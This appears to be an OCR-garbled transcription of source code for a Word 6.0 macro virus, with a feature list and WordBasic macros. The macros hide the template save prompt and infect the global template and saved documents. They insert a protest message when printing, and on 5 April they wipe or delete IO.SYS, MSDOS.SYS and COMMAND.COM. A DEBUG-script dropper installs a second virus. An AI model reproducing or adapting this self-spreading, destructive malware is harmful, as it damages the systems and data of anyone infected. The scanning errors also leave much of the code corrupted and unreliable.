MEW WORD 6.8 MACREO YIRS

New Features:

# Drops another wirus ("PH33R'").

# Stealth's existence from the user.

* Bupasses ''Save NORMAL.DOT? prompt.

# Inserts text into documents when printing (at time
S).

*

Uses execute-only macro's.

# Contains a payload to destroy I0.SYSAMSDOS.SYS/COM
MAND . COM
an April the 5th.

PURFOSE : To enable MWORMAL.DOT to bhe saved without
prompting.

MACRO MAME: FileExit

MACEO CODE:

Sub MATIM

Tools0ptionsSave .GlobalDotPrompt = &

FileExit

End Sub

PURFPDSE: To make the wirus active before any

documents have been loaded.
MACRO MAME: AutoE=xec
MACREO CODE:

Sub MAIN
It CheckInstalled = @ Then

) MacroCopy WindowWame$()+":AutoExec', "Global:AutoExec
J“1HECPDEDHH WindowMame$()+'":ToolsMacro", "Glohal:ToolsMac
iD JH;CPDEDQH WindowNames$()+" :Aautolpen’, "Global:Autolpen
JulHacPDEng WindowNames()+'":FileSavefs', "Global:FileSave
e JH;CPDEDDU WindowWames{i+":FilePrint', "Global:FilePrin

_I:II:I 1



MacroCopy WindowName®()+'"':FilePrintDefault",'"Global:Fil

ePrintDefault’

|11

MacroCopy WindowMames()+'":InsertPayload', "Global:Inser

tPayload", 1

MacroCopy WindowMames()+":PayLoad",

.1

End If

Call Payload
End Sub

Function CheckInstalled
'Check if AutoExec macro already exists.
CheckInstalled = &

If CountMacros(a) > @ Then

For 1 = 1 To CountMacros (@)

If MacroMName®(i, @) = "AutoExec’ Then
CheckInstalled = 1
End If

Mext 1

End If
End Function

"Global:Payload"

FURFOSE:

document 1is opened.
MACED MWAME: Autolpen

MACRO CODE:

Sub MAIM

It CheckInstalled = @ Then

MacrolCopy
II:I 1
MacrolCopy
ro'', 1
HacroCopy
II:I 1
MacrolCopy
Aas', 1
MacrolCopy
_I:ll:I 1
MacrolCopy

WindowNames()+'":
WindowNames()+'":
WindowNames()+'':
WindowNames()+'":
WindowNames()+'":

WindowNames()+'":

ePrintDefault',1

MacroCopy WindowMames()+'":

tPayload', 1

AutoExec',
ToolsHacro',
Autolpen',
FileSaveAs',

FilePrint',

To infect the Global Macro Area as soon as a

"Glohal:AutoExec
"Global:ToolsMac
"Global:AutolOpen
"Global:FileSave

"Global:FilePrin

FilePrintDefault', "Global:Fil

InsertPayload', "Global:Inser



MacroCopy WindowWames$()+'":PayLoad", "Global:Payload"
.1
End If
Call Payload
End Sub

Function CheckInstalled
'‘Check if AutoExec macro already exists.
CheckInstalled = &
If CountMacros(@) > @ Then
For i = 1 To CountMacros(e)
If MacroMames(i, @) = "AutoExec' Then
CheckInstalled = 1
End If
MNext 1
End If
End Function

PURFPDSE: To infect a file when it is being saved.
MACROD MAME: FileSavefs

MACREO CODE:

Sub HAIN

Dim dlg As FileSavefs 'declare dialog as type FileSavefs
GetCurvalues dlg

Dialog dlg ‘execute the dialog.

'Is the document of Type=i{WordDocument or Template) 7

If (dlg.Format = @) Or (dlg.Format = 1) Then

'Copy Macro's from Global data area into document.

MacroCopy "Global:AutoExec', WindowName$() + ":AutoExe
C”, 1
MacroCopy "Global:AutoOpen', WindowName$() + ":Autolpe

n', 1

MacroCopy '"'Global:FileSaveds', WindowMWame®() + ":FileSa
veas'', 1

MacroCopy "Global:ToolsMacro', WindowMame®() + ":ToolsH
acro'', 1

MacroCopy "Global:FilePrint', WindowdName$() + ":FilePri
nt'', 1

MacroCopy "Global:FilePrintDefault',

WindowName$() + ":FilePrintDefault’, 1



MacroCopy "Global:InsertPayload', WindowMame()+'":Inser
tPayload", 1
MacroCopy "Global:Payload", WindowMames()+'":Payload',1

'Set to save document as a template.
dlg.Format = 1

End If

FileSaveAs dlg 'save the document infected.

End Sub

PURFOSE: To call InsertPayload when someone chooses

Print from the File menu.
MACRO MWAME: FilePrint

HACRO CODE:

Sub MATIM

Call InsertPayload ‘'possibly insert text.

Dim dlg As FilePrint ‘declare dialog of type FilePrint
GetCurvalues dlg

Dialog dlg ‘excute print dialog window.

FilePrint dlg ‘perform actions from dialog.

End Sub

FURFOSE: To call InsertPayload when someone clicks

the "Print' button on the toolbar.
MACRD MAME: FilePrintDefault
MACREO CODE:

Sub MAIK

Call InsertPayload ‘'possibly insert text.

FilePrintDefault 'print document using default settings.
End Sub

PURFOSE : Inszert some text into documents if Second > 55.
MACRO NAME: InsertPayload
MACRD COCDE:

Sub MAIN
If Second(Mowi()) » 55 Then ‘'seconds > 55 7



EndOfDocument ‘g0 to the end of document.

Insert Chri($ 11)

Inzert "And finally I would like to say:"

Insert Chri($ 11)

Insert "STOP ALL FREMCH MUCLEAR TESTINWG IM THE PACIFIC!

Start0fDocument ‘g0 to the start of document.
End If
End Sub

PURFPDSE: What the hell do you think?
MACRO MAME: PaylLoad
MACREO CODE:

Sub MHAIN:
If DayiNow())=5 And Month(Mow() =4 Then
SetAattr "CinID.SYS' @
Open "'C:~I0.SYS" For Output As #1
Close #1

=etAttr ”E:RHSDDS.STS”,@
Open "'C:sMSDOS.SYS', @
Close #1

SetAattr "C:sCOMMANMD.COM', @
Open "'C:“COMMAWD.COM'" For Qutput As #1
Close #1
Kill "C:sCOMMAMD.COM"
End If
End Sub

Sub HAIN
'Is 1= SPM 7 - approx time before work is finished.

If HouriMow()) <> 5 + 12 Then
Goto MoDropper

On Error Goto MWoDropper 'setup an error handler
Open "'C:~DOSAWDEBUG.EXE' For Input As #1 'does DEBUG exl
st

Close #1 “Yes, close it.

Open "'C:%DOSPH33R.SCR" For Output As #1 ‘dump script.
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Print #1, "E 0826 60 00 00 60 00 00 00 00 G0 G0 60 60 00 00
ea 08"
Print #1, "E 9836 @6 @0 60 60"

Print #1, "RCH" 'Convert this to "G" to run the code
Print #1, "@734"

Print #1, '"G"

Print #1, "0"

Print #1, """

Close #1

Open "C:“DOSMEXEC_PH.BAT' For Output As #1
Print #1, "@echo off"

Print #1, "debug < ph33r.scr > nul"

Close #1

ChDoir “C:wDOS"
Shell "EXEC_PH.BAT", @

'Delete temporary files.

Kill "C:“\DOS“EXEC_PH.BAT"
Kill "C:%DOS“PH33R.SCR"

NoDropper:

End Sub



